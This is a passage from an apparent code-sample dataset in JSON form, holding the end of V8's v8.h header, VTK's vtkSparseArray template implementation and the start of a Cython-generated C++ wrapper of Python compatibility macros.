(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n//\n// Top include for all V8 .cc files.\n//\n\n#ifndef V8_V8_H_\n#define V8_V8_H_\n\n#if defined(GOOGLE3)\n// Google3 special flag handling.\n#if defined(DEBUG) && defined(NDEBUG)\n// V8 only uses DEBUG and whenever it is set we are building a debug\n// version of V8. We do not use NDEBUG and simply undef it here for\n// consistency.\n#undef NDEBUG\n#endif\n#endif  // defined(GOOGLE3)\n\n// V8 only uses DEBUG, but included external files\n// may use NDEBUG - make sure they are consistent.\n#if defined(DEBUG) && defined(NDEBUG)\n#error both DEBUG and NDEBUG are set\n#endif\n\n// Basic includes\n#include \"../include/v8.h\"\n#include \"v8globals.h\"\n#include \"v8checks.h\"\n#include \"allocation.h\"\n#include \"v8utils.h\"\n#include \"flags.h\"\n\n// Objects & heap\n#include \"objects-inl.h\"\n#include \"spaces-inl.h\"\n#include \"heap-inl.h\"\n#include \"incremental-marking-inl.h\"\n#include \"mark-compact-inl.h\"\n#include \"log-inl.h\"\n#include \"cpu-profiler-inl.h\"\n#include \"handles-inl.h\"\n#include \"zone-inl.h\"\n\nnamespace v8 {\nnamespace internal {\n\nclass Deserializer;\n\nclass V8 : public AllStatic {\n public:\n  // Global actions.\n\n  // If Initialize is called with des == NULL, the initial state is\n  // created from scratch. If a non-null Deserializer is given, the\n  // initial state is created by reading the deserialized data into an\n  // empty heap.\n  static bool Initialize(Deserializer* des);\n  static void TearDown();\n  static bool IsRunning() { return is_running_; }\n  static bool UseCrankshaft() { return use_crankshaft_; }\n  // To be dead you have to have lived\n  // TODO(isolates): move IsDead to Isolate.\n  static bool IsDead() { return has_fatal_error_ || has_been_disposed_; }\n  static void SetFatalError();\n\n  // Report process out of memory. Implementation found in api.cc.\n  static void FatalProcessOutOfMemory(const char* location,\n                                      bool take_snapshot = false);\n\n  // Allows an entropy source to be provided for use in random number\n  // generation.\n  static void SetEntropySource(EntropySource source);\n  // Support for return-address rewriting profilers.\n  static void SetReturnAddressLocationResolver(\n      ReturnAddressLocationResolver resolver);\n  // Random number generation support. Not cryptographically safe.\n  static uint32_t Random(Context* context);\n  // We use random numbers internally in memory allocation and in the\n  // compilers for security. In order to prevent information leaks we\n  // use a separate random state for internal random number\n  // generation.\n  static uint32_t RandomPrivate(Isolate* isolate);\n  static Object* FillHeapNumberWithRandom(Object* heap_number,\n                                          Context* context);\n\n  // Idle notification directly from the API.\n  static bool IdleNotification(int hint);\n\n  static void AddCallCompletedCallback(CallCompletedCallback callback);\n  static void RemoveCallCompletedCallback(CallCompletedCallback callback);\n  static void FireCallCompletedCallback(Isolate* isolate);\n\n private:\n  static void InitializeOncePerProcessImpl();\n  static void InitializeOncePerProcess();\n\n  // True if engine is currently running\n  static bool is_running_;\n  // True if V8 has ever been run\n  static bool has_been_set_up_;\n  // True if error has been signaled for current engine\n  // (reset to false if engine is restarted)\n  static bool has_fatal_error_;\n  // True if engine has been shut down\n  // (reset if engine is restarted)\n  static bool has_been_disposed_;\n  // True if we are using the crankshaft optimizing compiler.\n  static bool use_crankshaft_;\n  // List of callbacks when a Call completes.\n  static List<CallCompletedCallback>* call_completed_callbacks_;\n};\n\n\n// JavaScript defines two kinds of 'nil'.\nenum NilValue { kNullValue, kUndefinedValue };\n\n\n// JavaScript defines two kinds of equality.\nenum EqualityKind { kStrictEquality, kNonStrictEquality };\n\n\n} }  // namespace v8::internal\n\nnamespace i = v8::internal;\n\n#endif  // V8_V8_H_\n"
  },
  {
    "path": "samples/C++/vtkSparseArray.txx",
    "content": "/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkSparseArray.txx\n\n-------------------------------------------------------------------------\n  Copyright 2008 Sandia Corporation.\n  Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation,\n  the U.S. Government retains certain rights in this software.\n-------------------------------------------------------------------------\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http://www.kitware.com/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*/\n\n#ifndef vtkSparseArray_txx\n#define vtkSparseArray_txx\n\n#include <algorithm>\n#include <limits>\n\nVTK_ABI_NAMESPACE_BEGIN\ntemplate <typename T>\nvtkSparseArray<T>* vtkSparseArray<T>::New()\n{\n  // Don't use object factory macros on templates, it'll confuse the object\n  // factory.\n  vtkSparseArray<T>* ret = new vtkSparseArray<T>;\n  ret->InitializeObjectBase();\n  return ret;\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::PrintSelf(ostream& os, vtkIndent indent)\n{\n  vtkSparseArray<T>::Superclass::PrintSelf(os, indent);\n}\n\ntemplate <typename T>\nbool vtkSparseArray<T>::IsDense()\n{\n  return false;\n}\n\ntemplate <typename T>\nconst vtkArrayExtents& vtkSparseArray<T>::GetExtents()\n{\n  return this->Extents;\n}\n\ntemplate <typename T>\ntypename vtkSparseArray<T>::SizeT vtkSparseArray<T>::GetNonNullSize()\n{\n  return this->Values.size();\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::GetCoordinatesN(SizeT n, vtkArrayCoordinates& coordinates)\n{\n  coordinates.SetDimensions(this->GetDimensions());\n  for (DimensionT i = 0; i != this->GetDimensions(); ++i)\n    coordinates[i] = this->Coordinates[i][n];\n}\n\ntemplate <typename T>\nvtkArray* vtkSparseArray<T>::DeepCopy()\n{\n  ThisT* const copy = ThisT::New();\n\n  copy->SetName(this->GetName());\n  copy->Extents = this->Extents;\n  copy->DimensionLabels = this->DimensionLabels;\n  copy->Coordinates = this->Coordinates;\n  copy->Values = this->Values;\n  copy->NullValue = this->NullValue;\n\n  return copy;\n}\n\ntemplate <typename T>\nconst T& vtkSparseArray<T>::GetValue(CoordinateT i)\n{\n  if (1 != this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Index-array dimension mismatch.\");\n    return this->NullValue;\n  }\n\n  // Do a naive linear-search for the time-being ...\n  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)\n  {\n    if (i != this->Coordinates[0][row])\n      continue;\n\n    return this->Values[row];\n  }\n\n  return this->NullValue;\n}\n\ntemplate <typename T>\nconst T& vtkSparseArray<T>::GetValue(CoordinateT i, CoordinateT j)\n{\n  if (2 != this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Index-array dimension mismatch.\");\n    return this->NullValue;\n  }\n\n  // Do a naive linear-search for the time-being ...\n  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)\n  {\n    if (i != this->Coordinates[0][row])\n      continue;\n\n    if (j != this->Coordinates[1][row])\n      continue;\n\n    return this->Values[row];\n  }\n\n  return this->NullValue;\n}\n\ntemplate <typename T>\nconst T& vtkSparseArray<T>::GetValue(CoordinateT i, CoordinateT j, CoordinateT k)\n{\n  if (3 != this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Index-array dimension mismatch.\");\n    return this->NullValue;\n  }\n\n  // Do a naive linear-search for the time-being ...\n  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)\n  {\n    if (i != this->Coordinates[0][row])\n      continue;\n\n    if (j != this->Coordinates[1][row])\n      continue;\n\n    if (k != this->Coordinates[2][row])\n      continue;\n\n    return this->Values[row];\n  }\n\n  return this->NullValue;\n}\n\ntemplate <typename T>\nconst T& vtkSparseArray<T>::GetValue(const vtkArrayCoordinates& coordinates)\n{\n  if (coordinates.GetDimensions() != this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Index-array dimension mismatch.\");\n    return this->NullValue;\n  }\n\n  // Do a naive linear-search for the time-being ...\n  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)\n  {\n    for (DimensionT column = 0; column != this->GetDimensions(); ++column)\n    {\n      if (coordinates[column] != this->Coordinates[column][row])\n        break;\n\n      if (column + 1 == this->GetDimensions())\n        return this->Values[row];\n    }\n  }\n\n  return this->NullValue;\n}\n\ntemplate <typename T>\nconst T& vtkSparseArray<T>::GetValueN(SizeT n)\n{\n  return this->Values[n];\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::SetValue(CoordinateT i, const T& value)\n{\n  if (1 != this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Index-array dimension mismatch.\");\n    return;\n  }\n\n  // Do a naive linear-search for the time-being ...\n  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)\n  {\n    if (i != this->Coordinates[0][row])\n      continue;\n\n    this->Values[row] = value;\n    return;\n  }\n\n  // Element doesn't already exist, so add it to the end of the list ...\n  this->AddValue(i, value);\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::SetValue(CoordinateT i, CoordinateT j, const T& value)\n{\n  if (2 != this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Index-array dimension mismatch.\");\n    return;\n  }\n\n  // Do a naive linear-search for the time-being ...\n  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)\n  {\n    if (i != this->Coordinates[0][row])\n      continue;\n\n    if (j != this->Coordinates[1][row])\n      continue;\n\n    this->Values[row] = value;\n    return;\n  }\n\n  // Element doesn't already exist, so add it to the end of the list ...\n  this->AddValue(i, j, value);\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::SetValue(CoordinateT i, CoordinateT j, CoordinateT k, const T& value)\n{\n  if (3 != this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Index-array dimension mismatch.\");\n    return;\n  }\n\n  // Do a naive linear-search for the time-being ...\n  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)\n  {\n    if (i != this->Coordinates[0][row])\n      continue;\n\n    if (j != this->Coordinates[1][row])\n      continue;\n\n    if (k != this->Coordinates[2][row])\n      continue;\n\n    this->Values[row] = value;\n    return;\n  }\n\n  // Element doesn't already exist, so add it to the end of the list ...\n  this->AddValue(i, j, k, value);\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::SetValue(const vtkArrayCoordinates& coordinates, const T& value)\n{\n  if (coordinates.GetDimensions() != this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Index-array dimension mismatch.\");\n    return;\n  }\n\n  // Do a naive linear-search for the time-being ...\n  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)\n  {\n    for (DimensionT column = 0; column != this->GetDimensions(); ++column)\n    {\n      if (coordinates[column] != this->Coordinates[column][row])\n        break;\n\n      if (column + 1 == this->GetDimensions())\n      {\n        this->Values[row] = value;\n        return;\n      }\n    }\n  }\n\n  // Element doesn't already exist, so add it to the end of the list ...\n  this->AddValue(coordinates, value);\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::SetValueN(SizeT n, const T& value)\n{\n  this->Values[n] = value;\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::SetNullValue(const T& value)\n{\n  this->NullValue = value;\n}\n\ntemplate <typename T>\nconst T& vtkSparseArray<T>::GetNullValue()\n{\n  return this->NullValue;\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::Clear()\n{\n  for (DimensionT column = 0; column != this->GetDimensions(); ++column)\n    this->Coordinates[column].clear();\n\n  this->Values.clear();\n}\n\n/// Predicate object for use with std::sort().  Given a vtkArraySort object that defines which array\n/// dimensions will be sorted in what order, SortCoordinates is used to establish a sorted order for\n/// the values stored in vtkSparseArray. Note that SortCoordinates never actually modifies its\n/// inputs.\nstruct SortCoordinates\n{\n  SortCoordinates(const vtkArraySort& sort, const std::vector<std::vector<vtkIdType>>& coordinates)\n    : Sort(&sort)\n    , Coordinates(&coordinates)\n  {\n  }\n\n  bool operator()(const vtkIdType lhs, const vtkIdType rhs) const\n  {\n    const vtkArraySort& sort = *this->Sort;\n    const std::vector<std::vector<vtkIdType>>& coordinates = *this->Coordinates;\n\n    for (vtkIdType i = 0; i != sort.GetDimensions(); ++i)\n    {\n      if (coordinates[sort[i]][lhs] == coordinates[sort[i]][rhs])\n        continue;\n\n      return coordinates[sort[i]][lhs] < coordinates[sort[i]][rhs];\n    }\n\n    return false;\n  }\n\n  const vtkArraySort* Sort;\n  const std::vector<std::vector<vtkIdType>>* Coordinates;\n};\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::Sort(const vtkArraySort& sort)\n{\n  if (sort.GetDimensions() < 1)\n  {\n    vtkErrorMacro(<< \"Sort must order at least one dimension.\");\n    return;\n  }\n\n  for (DimensionT i = 0; i != sort.GetDimensions(); ++i)\n  {\n    if (sort[i] < 0 || sort[i] >= this->GetDimensions())\n    {\n      vtkErrorMacro(<< \"Sort dimension out-of-bounds.\");\n      return;\n    }\n  }\n\n  const SizeT count = this->GetNonNullSize();\n  std::vector<DimensionT> sort_order(count);\n  for (SizeT i = 0; i != count; ++i)\n    sort_order[i] = static_cast<DimensionT>(i);\n  std::sort(sort_order.begin(), sort_order.end(), SortCoordinates(sort, this->Coordinates));\n\n  std::vector<DimensionT> temp_coordinates(count);\n  for (DimensionT j = 0; j != this->GetDimensions(); ++j)\n  {\n    for (SizeT i = 0; i != count; ++i)\n      temp_coordinates[i] = this->Coordinates[j][sort_order[i]];\n    std::swap(temp_coordinates, this->Coordinates[j]);\n  }\n\n  std::vector<T> temp_values(count);\n  for (SizeT i = 0; i != count; ++i)\n    temp_values[i] = this->Values[sort_order[i]];\n  std::swap(temp_values, this->Values);\n}\n\ntemplate <typename T>\nstd::vector<typename vtkSparseArray<T>::CoordinateT> vtkSparseArray<T>::GetUniqueCoordinates(\n  DimensionT dimension)\n{\n  if (dimension < 0 || dimension >= this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Dimension out-of-bounds.\");\n    return std::vector<CoordinateT>();\n  }\n\n  std::vector<CoordinateT> results(this->Coordinates[dimension]);\n  std::sort(results.begin(), results.end());\n  results.erase(std::unique(results.begin(), results.end()), results.end());\n  return results;\n}\n\ntemplate <typename T>\nconst typename vtkSparseArray<T>::CoordinateT* vtkSparseArray<T>::GetCoordinateStorage(\n  DimensionT dimension) const\n{\n  if (dimension < 0 || dimension >= this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Dimension out-of-bounds.\");\n    return nullptr;\n  }\n\n  return &this->Coordinates[dimension][0];\n}\n\ntemplate <typename T>\ntypename vtkSparseArray<T>::CoordinateT* vtkSparseArray<T>::GetCoordinateStorage(\n  DimensionT dimension)\n{\n  if (dimension < 0 || dimension >= this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Dimension out-of-bounds.\");\n    return nullptr;\n  }\n\n  return &this->Coordinates[dimension][0];\n}\n\ntemplate <typename T>\nconst T* vtkSparseArray<T>::GetValueStorage() const\n{\n  return &(this->Values[0]);\n}\n\ntemplate <typename T>\nT* vtkSparseArray<T>::GetValueStorage()\n{\n  return &this->Values[0];\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::ReserveStorage(SizeT value_count)\n{\n  for (DimensionT dimension = 0; dimension != this->GetDimensions(); ++dimension)\n    this->Coordinates[dimension].resize(value_count);\n\n  this->Values.resize(value_count);\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::SetExtentsFromContents()\n{\n  vtkArrayExtents new_extents;\n\n  const vtkIdType row_begin = 0;\n  const vtkIdType row_end = row_begin + static_cast<vtkIdType>(this->Values.size());\n  const DimensionT dimension_count = this->GetDimensions();\n  for (DimensionT dimension = 0; dimension != dimension_count; ++dimension)\n  {\n    vtkIdType range_begin = std::numeric_limits<vtkIdType>::max();\n    vtkIdType range_end = -std::numeric_limits<vtkIdType>::max();\n    for (vtkIdType row = row_begin; row != row_end; ++row)\n    {\n      range_begin = std::min(range_begin, this->Coordinates[dimension][row]);\n      range_end = std::max(range_end, this->Coordinates[dimension][row] + 1);\n    }\n    new_extents.Append(vtkArrayRange(range_begin, range_end));\n  }\n\n  this->Extents = new_extents;\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::SetExtents(const vtkArrayExtents& extents)\n{\n  if (extents.GetDimensions() != this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Extent-array dimension mismatch.\");\n    return;\n  }\n\n  this->Extents = extents;\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::AddValue(CoordinateT i, const T& value)\n{\n  this->AddValue(vtkArrayCoordinates(i), value);\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::AddValue(CoordinateT i, CoordinateT j, const T& value)\n{\n  this->AddValue(vtkArrayCoordinates(i, j), value);\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::AddValue(CoordinateT i, CoordinateT j, CoordinateT k, const T& value)\n{\n  this->AddValue(vtkArrayCoordinates(i, j, k), value);\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::AddValue(const vtkArrayCoordinates& coordinates, const T& value)\n{\n  if (coordinates.GetDimensions() != this->GetDimensions())\n  {\n    vtkErrorMacro(<< \"Index-array dimension mismatch.\");\n    return;\n  }\n\n  this->Values.push_back(value);\n\n  for (DimensionT i = 0; i != coordinates.GetDimensions(); ++i)\n    this->Coordinates[i].push_back(coordinates[i]);\n}\n\ntemplate <typename T>\nbool vtkSparseArray<T>::Validate()\n{\n  vtkIdType duplicate_count = 0;\n  vtkIdType out_of_bound_count = 0;\n\n  const vtkIdType dimensions = this->GetDimensions();\n  const vtkIdType count = this->GetNonNullSize();\n\n  // Create an arbitrary sorted order for our coordinates ...\n  vtkArraySort sort;\n  sort.SetDimensions(dimensions);\n  for (vtkIdType i = 0; i != dimensions; ++i)\n    sort[i] = i;\n\n  std::vector<vtkIdType> sort_order(count);\n  for (vtkIdType i = 0; i != count; ++i)\n    sort_order[i] = i;\n\n  std::sort(sort_order.begin(), sort_order.end(), SortCoordinates(sort, this->Coordinates));\n\n  // Now, look for duplicates ...\n  for (vtkIdType i = 0; i + 1 < count; ++i)\n  {\n    vtkIdType j;\n    for (j = 0; j != dimensions; ++j)\n    {\n      if (this->Coordinates[j][sort_order[i]] != this->Coordinates[j][sort_order[i + 1]])\n        break;\n    }\n    if (j == dimensions)\n    {\n      duplicate_count += 1;\n    }\n  }\n\n  // Look for out-of-bound coordinates ...\n  for (vtkIdType i = 0; i != count; ++i)\n  {\n    for (vtkIdType j = 0; j != dimensions; ++j)\n    {\n      if (this->Coordinates[j][i] < this->Extents[j].GetBegin() ||\n        this->Coordinates[j][i] >= this->Extents[j].GetEnd())\n      {\n        ++out_of_bound_count;\n        break;\n      }\n    }\n  }\n\n  if (duplicate_count)\n  {\n    vtkErrorMacro(<< \"Array contains \" << duplicate_count << \" duplicate coordinates.\");\n  }\n\n  if (out_of_bound_count)\n  {\n    vtkErrorMacro(<< \"Array contains \" << out_of_bound_count << \" out-of-bound coordinates.\");\n  }\n\n  return (0 == duplicate_count) && (0 == out_of_bound_count);\n}\n\ntemplate <typename T>\nvtkSparseArray<T>::vtkSparseArray()\n  : NullValue(T())\n{\n}\n\ntemplate <typename T>\nvtkSparseArray<T>::~vtkSparseArray() = default;\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::InternalResize(const vtkArrayExtents& extents)\n{\n  this->Extents = extents;\n  this->DimensionLabels.resize(extents.GetDimensions(), {});\n  this->Coordinates.resize(extents.GetDimensions());\n  this->Values.resize(0);\n}\n\ntemplate <typename T>\nvoid vtkSparseArray<T>::InternalSetDimensionLabel(DimensionT i, const vtkStdString& label)\n{\n  this->DimensionLabels[i] = label;\n}\n\ntemplate <typename T>\nvtkStdString vtkSparseArray<T>::InternalGetDimensionLabel(DimensionT i)\n{\n  return this->DimensionLabels[i];\n}\n\nVTK_ABI_NAMESPACE_END\n#endif\n"
  },
  {
    "path": "samples/C++/wrapper_inner.cpp",
    "content": "/* Generated by Cython 0.14.1 on Mon Jun 27 13:03:43 2011 */\n\n#define PY_SSIZE_T_CLEAN\n#include \"Python.h\"\n#ifndef Py_PYTHON_H\n    #error Python headers needed to compile C extensions, please install development version of Python.\n#else\n\n#include <stddef.h> /* For offsetof */\n#ifndef offsetof\n#define offsetof(type, member) ( (size_t) & ((type*)0) -> member )\n#endif\n\n#if !defined(WIN32) && !defined(MS_WINDOWS)\n  #ifndef __stdcall\n    #define __stdcall\n  #endif\n  #ifndef __cdecl\n    #define __cdecl\n  #endif\n  #ifndef __fastcall\n    #define __fastcall\n  #endif\n#endif\n\n#ifndef DL_IMPORT\n  #define DL_IMPORT(t) t\n#endif\n#ifndef DL_EXPORT\n  #define DL_EXPORT(t) t\n#endif\n\n#ifndef PY_LONG_LONG\n  #define PY_LONG_LONG LONG_LONG\n#endif\n\n#if PY_VERSION_HEX < 0x02040000\n  #define METH_COEXIST 0\n  #define PyDict_CheckExact(op) (Py_TYPE(op) == &PyDict_Type)\n  #define PyDict_Contains(d,o)   PySequence_Contains(d,o)\n#endif\n\n#if PY_VERSION_HEX < 0x02050000\n  typedef int Py_ssize_t;\n  #define PY_SSIZE_T_MAX INT_MAX\n  #define PY_SSIZE_T_MIN INT_MIN\n  #define PY_FORMAT_SIZE_T \"\"\n  #define PyInt_FromSsize_t(z) PyInt_FromLong(z)\n  #define PyInt_AsSsize_t(o)   PyInt_AsLong(o)\n  #define PyNumber_Index(o)    PyNumber_Int(o)\n  #define PyIndex_Check(o)     PyNumber_Check(o)\n  #define PyErr_WarnEx(category, message, stacklevel) PyErr_Warn(category, message)\n#endif\n\n#if PY_VERSION_HEX < 0x02060000\n  #define Py_REFCNT(ob) (((PyObject*)(ob))->ob_refcnt)\n  #define Py_TYPE(ob)   (((PyObject*)(ob))->ob_type)\n  #define Py_SIZE(ob)   (((PyVarObject*)(ob))->ob_size)\n  #define PyVarObject_HEAD_INIT(type, size) \\\n          PyObject_HEAD_INIT(type) size,\n  #define PyType_Modified(t)\n\n  typedef struct {\n     void *buf;\n     PyObject *obj;\n     Py_ssize_t len;\n     Py_ssize_t itemsize;\n     int readonly;\n     int ndim;\n     char *format;\n     Py_ssize_t *shape;\n     Py_ssize_t *strides;\n     Py_ssize_t *suboffsets;\n     void *internal;\n  } Py_buffer;\n\n  #define PyBUF_SIMPLE 0\n  #define PyBUF_WRITABLE 0x0001\n  #define PyBUF_FORMAT 0x0004\n  #define PyBUF_ND 0x0008\n  #define PyBUF_STRIDES (0x0010 | PyBUF_ND)\n  #define PyBUF_C_CONTIGUOUS (0x0020 | PyBUF_STRIDES)\n  #define PyBUF_F_CONTIGUOUS (0x0040 | PyBUF_STRIDES)\n  #define PyBUF_ANY_CONTIGUOUS (0x0080 | PyBUF_STRIDES)\n  #define PyBUF_INDIRECT (0x0100 | PyBUF_STRIDES)\n\n#endif\n\n#if PY_MAJOR_VERSION < 3\n  #define __Pyx_BUILTIN_MODULE_NAME \"__builtin__\"\n#else\n  #define __Pyx_BUILTIN_MODULE_NAME \"builtins\"\n#endif\n\n#if PY_MAJOR_VERSION >= 3\n  #define Py_TPFLAGS_CHECKTYPES 0\n  #define Py_TPFLAGS_HAVE_INDEX 0\n#endif\n\n#if (PY_VERSION_HEX < 0x02060000) || (PY_MAJOR_VERSION >= 3)\n  #define Py_TPFLAGS_HAVE_NEWBUFFER 0\n#endif\n\n#if PY_MAJOR_VERSION >= 3\n  #define PyBaseString_Type            PyUnicode_Type\n  #define PyStringObject               PyUnicodeObject\n  #define PyString_Type                PyUnicode_Type\n  #define PyString_Check               PyUnicode_Check\n  #define PyString_CheckExact          PyUnicode_CheckExact\n#endif\n\n#if PY_VERSION_HEX < 0x02060000\n  #define PyBytesObject                PyStringObject\n  #define PyBytes_Type                 PyString_Type\n  #define PyBytes_Check                PyString_Check\n  #define PyBytes_CheckExact           PyString_CheckExact\n  #define PyBytes_FromString           PyString_FromString\n  #define PyBytes_FromStringAndSize    PyString_FromStringAndSize\n  #define PyBytes_FromFormat           PyString_FromFormat\n  #define PyBytes_DecodeEscape         PyString_DecodeEscape\n  #define PyBytes_AsString             PyString_AsString\n  #define PyBytes_AsStringAndSize      PyString_AsStringAndSize\n  #define PyBytes_Size                 PyString_Size\n  #define PyBytes_AS_STRING            PyString_AS_STRING\n  #define PyBytes_GET_SIZE             PyString_GET_SIZE\n  #define PyBytes_Repr                 PyString_Repr\n  #define PyBytes_Concat               PyString_Concat\n  #define PyBytes_ConcatAndDel         PyString_ConcatAndDel\n#endif\n\n#if PY_VERSION_HEX < 0x02060000\n  #define PySet_Check(obj)             PyObject_TypeCheck(obj, &PySet_Type)\n  #define PyFrozenSet_Check(obj)       PyObject_TypeCheck(obj, &PyFrozenSet_Type)\n#endif\n#ifndef PySet_CheckExact\n  #define PySet_CheckExact(obj)        (Py_TYPE(obj) == &PySet_Type)\n#endif\n\n#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type)\n\n#if PY_MAJOR_VERSION >= 3\n  #define PyIntObject                  PyLongObject\n  #define PyInt_Type                   PyLong_Type\n  #define PyInt_Check(op)              PyLong_Check(op)\n  #define PyInt_CheckExact(op)         PyLong_CheckExact(op)\n  #define PyInt_FromString             PyLong_FromString\n  #define PyInt_FromUnicode            PyLong_FromUnicode\n  #define PyInt_FromLong               PyLong_FromLong\n  #define PyInt_FromSize_t             PyLong_FromSize_t\n  #define PyInt_FromSsize_t            PyLong_FromSsize_t\n  #define PyInt_AsLong                 PyLong_AsLong\n  #define PyInt_AS_LONG                PyLong_AS_LONG\n  #define PyInt_AsSsize_t              PyLong_AsSsize_t\n  #define PyInt_AsUnsignedLongMask     PyLong_AsUnsignedLongMask\n  #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask\n#endif\n\n#if PY_MAJOR_VERSION >= 3\n  #define PyBoolObject                 PyLongObject\n#endif\n\n\n#if PY_MAJOR_VERSION >= 3\n  #define __Pyx_PyNumber_Divide(x,y)         PyNumber_TrueDivide(x,y)\n  #define __Pyx_PyNumber_InPlaceDivide(x,y)  PyNumber_InPlaceTrueDivide(x,y)\n#else\n  #define __Pyx_PyNumber_Divide(x,y)         PyNumber_Divide(x,y)\n  #define __Pyx_PyNumber_InPlaceDivide(x,y)  PyNumber_InPlaceDivide(x,y)\n#endif\n\n#if (PY_MAJOR_VERSION < 3) || (PY_VERSION_HEX >= 0x03010300)\n  #define __Pyx_PySequence_GetSlice(obj, a, b) PySequence_GetSlice(obj, a, b)\n  #define __Pyx_PySequence_SetSlice(obj, a, b, value) PySequence_SetSlice(obj, a, b, value)\n  #define __Pyx_PySequence_DelSlice(obj, a, b) PySequence_DelSlice(obj, a, b)\n#else\n  #define __Pyx_PySequence_GetSlice(obj, a, b) (unlikely(!(obj)) ? \\\n        (PyErr_SetString(PyExc_SystemError, \"null argument to internal routine\"), (PyObject*)0) : \\\n        (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_GetSlice(obj, a, b)) : \\\n            (PyErr_Format(PyExc_TypeError, \"'%.200s' object is unsliceable\", (obj)->ob_type->tp_name), (PyObject*)0)))\n  #define __Pyx_PySequence_SetSlice(obj, a, b, value) (unlikely(!(obj)) ? \\\n        (PyErr_SetString(PyExc_SystemError, \"null argument to internal routine\"), -1) : \\\n        (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_SetSlice(obj, a, b, value)) : \\\n            (PyErr_Format(PyExc_TypeError, \"'%.200s' object doesn't support slice assignment\", (obj)->ob_type->tp_name), -1)))\n  #define __Pyx_PySequence_DelSlice(obj, a, b) (unlikely(!(obj)) ? \\\n        (PyErr_SetString(PyExc_SystemError, \"null argument to internal routine\"), -1) : \\\n        (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_DelSlice(obj, a, b)) : \\\n            (PyErr_Format(PyExc_TypeError, \"'%.200s' object doesn't support slice deletion\", (obj)->ob_type->tp_name), -1)))\n#endif\n\n#if PY_MAJOR_VERSION >= 3\n  #define PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func))\n#endif\n\n#if PY_VERSION_HEX < 0x02050000\n  #define __Pyx_GetAttrString(o,n)   PyObject_GetAttrString((o),((char *)(n)))\n  #define __Pyx_SetAttrString(o,n,a) PyObject_SetAttrString((o),((char *)(n)),(a))\n  #define __Pyx_DelAttrString(o,n)   PyObject_DelAttrString((o),((char *)(n)))\n#else\n  #define __Pyx_GetAttrString(o,n)   PyObject_GetAttrString((o),(n))\n  #define __Pyx_SetAttrString(o,n,a) PyObject_SetAttrString((o),(n),(a))\n  #define __Pyx_DelAttrString(o,n)   PyObject_DelAttrString((o),(n))\n#endif\n\n#if PY_VERSION_HEX < 0x02050000\n  #define __Pyx_NAMESTR(n) ((char *)(n))\n  #define __Pyx_DOCSTR(n)  ((char *)(n))\n#else\n  #define __Pyx_NAMESTR(n) (n)\n  #define __Pyx_DOCSTR(n)  (n)\n#endif\n\n#ifdef __cplusplus\n#define __PYX_EXTERN_C extern \"C\"\n#else\n#define __PYX_EXTERN_C extern\n#endif\n\n#if defined(WIN32) || defined(MS_WINDOWS)\n#define _USE_MATH_DEFINES\n#endif\n#include <math.h>\n#define __PYX_HAVE_API__wrapper_inner\n#include \"stdio.h\"\n#include \"stdlib.h\"\n#include \"numpy/arrayobject.h\"\n#include \"numpy/ufuncobject.h\"\n#include <vector>\n\n#ifdef PYREX_WITHOUT_ASSERTIONS\n#define CYTHON_WITHOUT_ASSERTIONS\n#endif\n\n\n/* inline attribute */\n#ifndef CYTHON_INLINE\n  #if defined(__GNUC__)\n    #define CYTHON_INLINE __inline__\n  #elif defined(_MSC_VER)\n    #define CYTHON_INLINE __inline\n  #elif defined (__STDC_VERSION__) && 